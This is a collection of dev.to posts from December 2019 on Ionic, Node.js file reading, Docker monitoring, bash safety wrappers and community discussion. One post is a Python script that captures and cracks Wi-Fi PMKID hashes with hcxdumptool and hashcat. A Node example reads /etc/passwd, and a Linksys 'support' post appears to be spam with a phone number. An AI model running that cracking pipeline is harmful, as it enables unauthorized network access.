teleren/devto huggingface dataset:
Why Should You Build Hybrid Mobile Apps With Ionic Development?
Published: 2019-12-20 11:30:40

Thousands of fortune companies around the world have used Ionic to build applications. And why not when this HTML5 based framework provides world-class features and excellent development support. When it comes to hybrid app development, and the Ionic framework has made its mark in the field by delivering quality and convenience. 

Developing an app with Ionic takes less time-to-market while ensuring excellent UI elements, look and feel that helps engage the users. 

The framework also brings forth a bundle of native app components to build apps for native platforms. Whether it's about slick animations, interactive design, etc., a developer gets access to UI elements and layout, just like SDKs for iOS and Android.  

Hybrid apps are web apps wrapped in native app components. It gets developed using HTML, CSS, and Javascript and provided a self-contained application experience. The best thing about Ionic is a web developer turns into a mobile app developer. Ionic uses web technologies. Thus a developer acquainted with web technologies quickly grabs the structure of the Ionic app.

With so many benefits in line, let's collaborate the top reason to go with Ionic a
pp development and understand why one should hire an ionic framework developer for the next app development project.

a. Cost-Efficient

Ionic is fast, stable, and provides native look and feel to the app, unlike other open-source frameworks. Though native app development involves a good some of the cost, Ionic is open source. Therefore developers get free access to source code on GitHub.

b. Default UI Elements

Developers have many reasons to love Ionic, and one of them is the set of a default UI element. The framework is available with several default elements such as forms, navigation menu, filters list views, filters, and many more.

Developers no longer need to write code for those elements. They can pick default elements, customize them, and integrate within the app.
Though the default UI elements are simple to integrate, there also comes convenience to customize them with CSS classes.
It allows reusing code. Thus an app can be developed for different OS platforms (iOS and Android) using the same code-base that significantly reduces time to market for release an app.

d. NativePlugins

While ionic app development company allows amazing app development with web technologies, Ionic also allows developers to integrate native code or Cordova plugins to add better functionality within the app. Plugins enable the developer to get access to the hardware and software features such as camera, logs, pro location, and so on.

e. Easy Debugging

Ionic allows easy testing for the app. From using simulator testing to testing in mobile browsers, developers can perform any. An Ionic application can be tested on actual platforms that help developers get a real-time estimate of app features and functionality.

Therefore, if you are thinking about developing hybrid apps hire ionic application developers today from an experienced and professional company today.
NodeJS http homepage 40: using File System module for read a file with readFile()
Tags: node, http, module, filesystem
Published: 2019-12-20 10:03:23

<hr />

<center>Happy Coding</center>

<hr />

{% codesandbox nodejs-http-homepage-40-using-filesystem-module-i46si initialpath=/ %}

previous post {% post antelove19/nodejs-http-homepage-30-create-custom-module-and-export-47l0 %}

<hr />

File System[^1] module is one of powerfull built-in module in NodeJS.

**Syntax**: `fs.readFile( path[, options], callback )`

**Example**:
```javascript
fs.readFile( '/etc/passwd', function ( err, data ) {

    if (err) throw err;

    console.log(data);

} );
```

In this post, we will set content of html static into each html files and using readFile() method for read all of them.

Ok, let's begin:

create a file "home": **_public/home.html_** and write code such as:

```php
<h1>Hello World in NodeJS HTTP</h1>
<p>NodeJS easy-to-learn</p>
```

create a file "about": **_public/about.html_** and write code such as:

```php
<h1>About me</h1>
<p>I am developer</p>
<p>I love programming</p>
```

create a file "404": **_public/404.html_** and write code such as:

```php
<h1>404</h1>
<p>Page not found</p>
```
<hr >

After that, back to **_index.js_** and add File System module:

```javascript
const fs    = require('fs');
```

Inside `if ( req.url == '/' )`, replace
```javascript
res.write( '<h1>Hello World in NodeJS HTTP</h1>' );
res.write( '<p>NodeJS easy-to-learn</p>' );
```

with
```javascript
fs.readFile( './public/home.html', 'utf8', function ( err, data ) {

    res.write( data );

    res.end();

} );
```

Inside `else if ( req.url == '/about')`, replace
```javascript
res.write( "<h1>About me</h1>" );
res.write( "<p>I am developer</p>" );
res.write( "<p>I love programming</p>" );
```

with
```javascript
fs.readFile( './public/about.html', 'utf8', function ( err, data ) {

    res.write( data );

    res.end();

} );
```

Inside `else`, replace
```javascript
res.write( "<h1>404</h1>" );        
res.write( '<p>Page not found</p>' );
```

with
```javascript
fs.readFile( './public/404.html', 'utf8', function ( err, data ) {

    res.writeHead( 404, { 'Content-Type': 'text/html' } );

    res.write( data );

    res.end();

} );
```
Done.

<hr/>

<center>Thank for reading :)</center>

<hr/>

[^1]: **nodejs.org** File System::readFile() on date 20 december 2019 and accessed from: [ https://nodejs.org/docs/latest-v10.x/api/fs.html#fs_fs_readfile_path_options_callback] (https://nodejs.org/docs/latest-v10.x/api/fs.html#fs_fs_readfile_path_options_callback)
My Journey Part 3
Published: 2019-12-20 09:36:19

Let me tell you working nights and trying to code during the day is hard work! Also learning about CSS and Javascript hurt my 4 hours sleep brain so much. But I kept going and going, its what I want! So I pushed through and made myself take the tests that come with the course. 

So attempt one:

1. HTML 4.01 - Pass
2. CSS - Pass
3. Javascript - Fail 

Damn! To pass the course I needed to get all three as a pass in one test. Man, I found Javascript really tough, I didn't understand the basics and couldn't quite get my head around it. But still, we marched on, 10 pm starting work, finishing at 7 am, then home for four hours sleep and then hitting the books. To say I felt like a zombie was an understatement but test two was just around the corner and I needed to get it right this time. 

Attempt two: 

1. HTML 4.01 - Pass
2. CSS - Fail
3. Javascript - Pass  

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/4fspldcmgetn6jh2736i.gif)

Oh, come on! I mean seriously this was a setback. I spent so much time working on javascript I had managed to completely neglect CSS and HTML. I mean I knew most of HTML due to my old days but CSS was new to me and I did need to make sure I worked on both. Now there was a silver lining to all this, my portfolio was growing as I built and built again. So I booked test three and off I went! But this time I quit my job and went for it! Normal sleep and normal hours. 

Attempt three: 

1. HTML 4.01 - Pass
2. CSS - Pass
3. Javascript - Pass 

BOOM! I had done it, after 4 months of daily coding I had passed the tests I needed to get some paperwork to say I can do the job I love so much. So now I'm a web developer! The doors will open and the jobs will flood in, 20k a year straight off the bat and I'll be rich! Rich, I tell ya! Errrrmmmm no, not quite. 6 weeks to get a job, that's how long it took to get a junior role. That role went like this:

* Take pre-built template
* Change city name and address details
* Save the files 
* Repeat

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/hh3wojo57fhjr7mfsst0.jpg)

That was my role and I managed to stay in that role for over a year, day after day the same rinse and repeat process whilst trying to refactor code here and there to keep it interesting. My role and career were nothing like Neo in the matrix but it was a start and still to this day I'm so proud of the was I handled getting to this point.
Light bulbs of the week (Week 51 2019)
Tags: agile, kernel, linux, windows
Published: 2019-12-20 09:33:33

## What did I learn this week?

# **Monolith vs Micro-kernel**

![Comparison](https://raw.githubusercontent.com/daneb/dev.to/master/MonolithvsMicro.jpg)

# **Outcomes over Output**
[How to reason about value](https://www.youtube.com/watch?v=NfrxSOtUWqI&feature=youtu.be)

![Outcome](https://raw.githubusercontent.com/daneb/dev.to/master/Outcome.jpg)
Autonomous PMK scanner and cracker.
Tags: python, hacking, pmkid
Published: 2019-12-20 09:32:28

# PMK Scanner and Cracker in Python



```py
#!/usr/bin/python3

import os
import sys
import argparse
import time

class getPMKID:
    def __init__(self,iface,output,wordlist):
        self.iface = iface
        self.output = output
        self.wordlist = wordlist

    def main(self):
        if self.iface is None or self.output is None or self.wordlist is None:
            print('arguments must not be blank')
            sys.exit(0)

        print('MAKE SURE TO BE IN MONITOR MODE AND CHANGE OUTPUT NAME IF CODE IS RUN MULTIPLE TIMES IN THE SAME DIRECTORY...')
        time.sleep(3)
        print('creating pcapng.... press ctrl-c to stop captures')
        os.system(f'hcxdumptool -i {self.iface} -o {self.output}.pcapng --enable_status=1')
        print('generating essid list and hash list...')
        os.system(f'hcxpcaptool -E essidlist -I identitylist -U usernamelist -z {self.output}.16800 {self.output}.pcapng')
        print('done ...')
        os.system(f'hashcat -m 16800 {self.output}.16800 -o {self.output}_cracked.txt -a 0 -w 4 --force "{self.wordlist}"')
    
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-i',dest="interface")
    parser.add_argument('-o',dest="output")
    parser.add_argument('-w',dest="wordlist")

    args = parser.parse_args()

    bot = getPMKID(args.interface,args.output,args.wordlist)
    print('Cracking PMKID')



```
Does WordPress need to update some of it's CSS coding standards?
Tags: wordpress, css, codequality, discuss
Published: 2019-12-20 09:22:39

*Warning: I am not the greatest writer and this literally just went from my brain to this post. Sorry in advance for the rambling!*


So I am working on building a custom theme for my website. I just went through the trouble of setting up a build process so that I can use SASS to build out my CSS components.

After all this, I came across the [WordPress CSS Coding Standards](https://make.wordpress.org/core/handbook/best-practices/coding-standards/css/) which I know about and use most of the time, but to be honest I haven't looked over in a while. I decided to click through to it and refresh my memory a bit and make sure I am not doing anything way off. While I was skimming through this line caught my eye (in reference to CSS selectors):


"Similar to the WordPress PHP Coding Standards for file names, use lowercase and separate words with hyphens when naming selectors. **Avoid camelcase and underscores.**"

Emphasis is mine, but it's what I want to discuss. I have primarily been a back-end developer for a long time building plugins and various custom functionalities behind the scenes that don't usually require a lot of front-end work. Recently, however, I have been diving into a lot more front-end work and have picked up using the [BEM naming convention](http://getbem.com/naming/). If you are not familiar with it I suggest you read about it, but long story short is that BEM uses *a lot* of underscores.

So with that in my mind and seeing the WordPress standard (which I will be ignoring in this case :smile:) it got me thinking if they need a bit of an update. After reading through some more of the standards it looks like they don't account for newer methods of writing CSS really at all. For example, "Refrain from using over-qualified selectors" is another item in the list. Well, that's easy if you are writing plain CSS, but what about when I am writing something like this in SASS:

```
.button {
  padding: 2rem;

  &__red {

    &--small {
      padding: .5rem;
    }

    .borderless {
      border: none;
    }

    .thick-border {
      border: 5px solid #f00;
    }

    background: #f00;
  }
}
``` 

When it is compiled it will break a lot of the WP standards, unfortunately, but I don't want to write plain CSS just because of the standards.

Anyway, I am just ranting now - I am sure you get the point. What do you all think? Would love to have an awesome discussion about it and hear if this matters to your workflow or if anyone even cares about the standards at all :joy:
Advent of Code 2019 Solution Megathread - Day 20: Donut Maze
Tags: adventofcode, challenge, adventofcode2019, spoilers
Published: 2019-12-20 09:22:17

---
title: Advent of Code 2019 Solution Megathread - Day 20: Donut Maze
published: True
description: Mmm... donuts...
tags: adventofcode,challenge, adventofcode2019, spoilers
series: Advent of Code 2019 Solutions
cover_image: https://i.imgur.com/caIaiuf.png
---
Do you know what's better than one kind of interpreter? _Two_ kinds of interpreter!

### [Day 20 - The Problem](https://adventofcode.com/2019/day/20)
We safely finished testing our tractor beam and have landed on Pluto to do some exploring.

Part 1 needs us to find the best path through a maze with warp tiles. Man, those Plutonians (Plutoids?) were good at using minimal space!

Part 2 reveals that the warp tiles actually move us up and down through recursive space, and we need to find the shortest path into a recursively generated maze.

### Ongoing Meta

#### Dev.to List of Leaderboards

* `120635-5c140b9a` - provided by [Linda Thompson](https://dev.to/lindakatcodes) 

 If you were part of [Ryan Palo](https://dev.to/rpalo)'s leaderboard last year, you're still a member of that! 

If you want me to add your leaderboard code to this page, reply to one of these posts and/or send me a DM containing your  code and any theming or notes you’d like me to add. (You can find your private leaderboard code on your "[Private Leaderboard](https://adventofcode.com/2019/leaderboard/private)" page.)

I'll edit in any leaderboards that people want to post, along with any description for the kinds of people you want to have on it. (My leaderboard is being used as my office's leaderboard.) And if I get something wrong, please call me out or message me and I’ll fix it ASAP.

There's no limit to the number of leaderboards you can join, so there's no problem belonging to a "Beginner" *and* a language specific one if you want.
Monitor your Docker container status in real time
Tags: boatswain, docker
Published: 2019-12-20 09:00:09

---
title: "Monitor your Docker container status in real time"
published: true
description: "Keep track of the history of all the docker container status."
tags: [Boatswain, Docker]
cover_image: https://thepracticaldev.s3.amazonaws.com/i/k3472xkphx2rbz0z1v73.png
---

_Originally posted on [Boatswain Blog](https://blog.boatswain.io/post/monitor-your-docker-container-status-in-real-time/)._

---

## The new Container Status dashboard!

In the recent update of [Boatswain][boatswain] (agent version 0.2.11), it keeps track of all the container statuses, no matter running or stopped, and display them on the new **Container Status** dashboard implemented on the [Boatswain.io][boatswain].

### The Container Status Timeline

![Container Status Timeline](https://thepracticaldev.s3.amazonaws.com/i/ry828rdy0yr3hcars72h.png)

With the timeline above, we could get a rough idea on the recent lifecycle of any container. There are all together 8 possible statuses:

- created
- running
- paused
- restarting
- exited
- dead
- removing
- unknown

Please note that [Boatswain][boatswain] makes his best effort to collect the container status and may not be able to acknowledge a change if a status duration is too short.

### The Container Info

![Container Info](https://thepracticaldev.s3.amazonaws.com/i/a9rubss5wfjzqo14ljgw.png)

This pane displays the current container status which is equivalent to the `docker ps` command.

### The Container Status History

![Container Status History](https://thepracticaldev.s3.amazonaws.com/i/nkpy7cge4m1df0ol41a5.png)

This table list out every change in status detected and it is just the textual format representing the timeline graph above. The first row with highlighted background is the current container status.

### Check out the latest status of all containers

Other than the new **Container Status** dashboard, we also added a new pane in the **Docker Status** dashboard listing the current status of all the containers.

![List of all container status](https://thepracticaldev.s3.amazonaws.com/i/5ciqtvknsxuqbwjooowy.png)

## What's next?

We hope the above new feature could help [Docker][docker] users getting up-to-date information of their [Docker][docker] servers but dashboard is a just passive solution which means it is futile if you are not looking at it. **Real time notification** could fill this gap and that's our final stage of development before the official launch. Stay tuned and follow us on [twitter][twitter]!





[boatswain]: https://boatswain.io/
[docker]: https://www.docker.com/
[twitter]: https://twitter.com/BoatswainIO
re:Invent 2019 announcements
Tags: aws, news
Published: 2019-12-20 08:26:04


If you didn't have a chance to review all recent AWS announcements on their #awsreinvent2019, you can review this table.

#aws #cloudcomputing #clouddevelopment #cloudconsulting #cloudengineer #news #announcements #serverless

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/o549qsssegeko90p80ik.png)
Digital Ocean Cloud 
Tags: students, digitalocean
Published: 2019-12-20 06:50:50

I have been using the Mysql database for my projects. It's very fast and reliable. Digital Ocean cloud platform is easy to use. It's highly scalable. Organizing the files is very easy. I will be using the other products and services in my upcoming projects. Handling the errors automatically switch data handling to a standby node to minimize downtime.
How to Get Away with Unit Testing Legacy Code 
Tags: net, legacycode, tdd, testing
Published: 2019-12-20 07:29:35

---
title: How to Get Away with Unit Testing Legacy Code 
published: true
description: A while ago, I did a webinar for TypeMock about unit testing legacy code. It's about why we want to unit test legacy code, the advantages and disadvantages, and it includes some minor live coding using TypeMock's Isolator tool. You can watch it here: I hope you like it. Let me know what you think!
tags: Net, legacycode, TDD, testing
canonical_url: https://www.petermorlion.com/how-to-get-away-with-unit-testing-legacy-code/
---

A while ago, I did a webinar for TypeMock about unit testing legacy code. It’s about why we want to unit test legacy code, the advantages and disadvantages, and it includes some minor live coding using TypeMock’s Isolator tool.

You can watch it here:

{% vimeo 372193404 %}

I hope you like it. Let me know what you think!
Linksys extender setup
Tags: linksys, extender, setup, linksysdevices
Published: 2019-12-20 07:05:48

Thanks for sharing. We provide full support for all your Linksys devices,including guidance for your <a href="https://extenderlinksys-usa.com/">linksys extender setup</a> . So if you are having issues with connecting to the Wifi or configure settings on the Linksys app, then contact us using our live chat services or our email. You can also call us using our customer support phone number.Call at +1-844-456-4180 Toll Free Phone Number for linksys devices.
Wrapper functions for dangerous commands
Tags: bash, beginners
Published: 2019-12-20 04:37:25

Have you ever had a brain fart at work and accidentally deleted the PRODUCTION database because you thought you were in the development environment? Yeah, me too...

Here's a simple bash script that might save your life (multiple times).

Let me draw the scenario:
- Your company has different environments (prod, dev, etc...)
- It's possible to accidentally run a bash command meant for development environment in a production environment, which will have fatal consequences

Below is a fictitious wrapper function for a `dangerous_cmd` only meant to be used in a development environment.

```bash
function dangerous_cmd(){
    echo "Running dangerous_cmd wrapper"
    # Assume that 'dangerous_cmd environment' returns the environment you are currently in
    env=$(dangerous_cmd environment) 
    if [[ $env == "development" ]]; then
        # 'command' is a bash built-in that avoids shell function lookup
        # We need this because otherwise we would be stuck in a infinite loop,
        # calling 'dangeroud_cmd` over and over again
        # '$@' passes all the arguments passed to the function to this call
        command dangerous_cmd $@; 
        return
    fi
    echo "Not in development environment! Not running dangerous_cmd"
}
```

The main workhorse of of this function is the bash built-ins `command` and `$@`
- `command`([StackOverflow Description](https://askubuntu.com/questions/512770/what-is-use-of-command-command)) runs our command without doing a shell function look-up, which we need to avoid infinitely calling `dangerous_cmd`
- `$@` passes all the parameters to this point. [Useful illustration](https://coderwall.com/p/85jnpq/bash-built-in-variables)

The good thing about using a bash function wrapper with the same name is that:
- Autocomplete still works as usual
- You can add more complex checking logic as you see fit
- You don't have to remember any obscure commands

I put bash functions like these in my `.bashrc` or `bash_profile` (Mac)

Here is an example of a wrapper function that only allows running something like `skaffold delete` (A command that cleans up your development environment by deleting all pods and services related to your application) in a `minikube` (Basically development) Kubernetes environment. 
Trust me you don't want to run `skaffold delete` in production.

```bash
function skaffold(){
    echo "Running skaffold wrapper"
    context=$(kubectl config current-context)
    if [[ $context == "minikube" ]]; then
        command skaffold $@;
        return
    fi
    echo "Not in minikube context! Not running skaffold command"
}
```
Astronaut character design, drawing with CSS
Tags: codepen, css, design, beginners
Published: 2019-12-20 06:38:31

<p>Astronaut character design</p>

<p>My very first codepen created on March 28, 2018, when i first realized that i need to learn some css even if i'm an backend developer(with Laravel) </p>

<p>The code is not pretty, a lot can be improved but it did it's job, it made me realize the awesomeness of css and codepen :D </p>

{% codepen https://codepen.io/FlorinCornea/pen/mxpNRm %}
What was your win this week?
Tags: discuss, weeklyretro
Published: 2019-12-20 05:50:50

---
title: What was your win this week?
published: true
description: Got to all your meetings on time? Started a new project? Fixed a tricky bug?
tags: discuss, weeklyretro
cover_image: https://cl.ly/188e843c2985/download/Image%202019-02-15%20at%202.36.37%20PM.png
---

👋👋👋👋

Looking back on your week -- what was something you're proud of?

All wins count -- big or small 🎉

Examples of 'wins' include:

- Getting a promotion!
- Starting a new project
- Fixing a tricky bug
- Cleaning your house...or whatever else that may spark joy 😄

![bart-Simpson-rejoicing](https://media.giphy.com/media/vfzjjDy7pD0mQ/giphy.gif)

Happy Friday!
Ebooks vs paperback
Tags: discussions, readinghabits
Published: 2019-12-20 05:31:45

---
title: Ebooks vs paperback
published: true
description: 
tags: discussions, reading habits
---
 So a lot of my friend complain of their lack of reading habits to their avoiding reading things in screens while staying that buying books is not always on the menu. I, for myself enjoy reading eBooks and paperback alike. What are your thoughts? Does the touch of the prayer and the light contrast of ink matter to you or do you like to state at screens for reading purposes?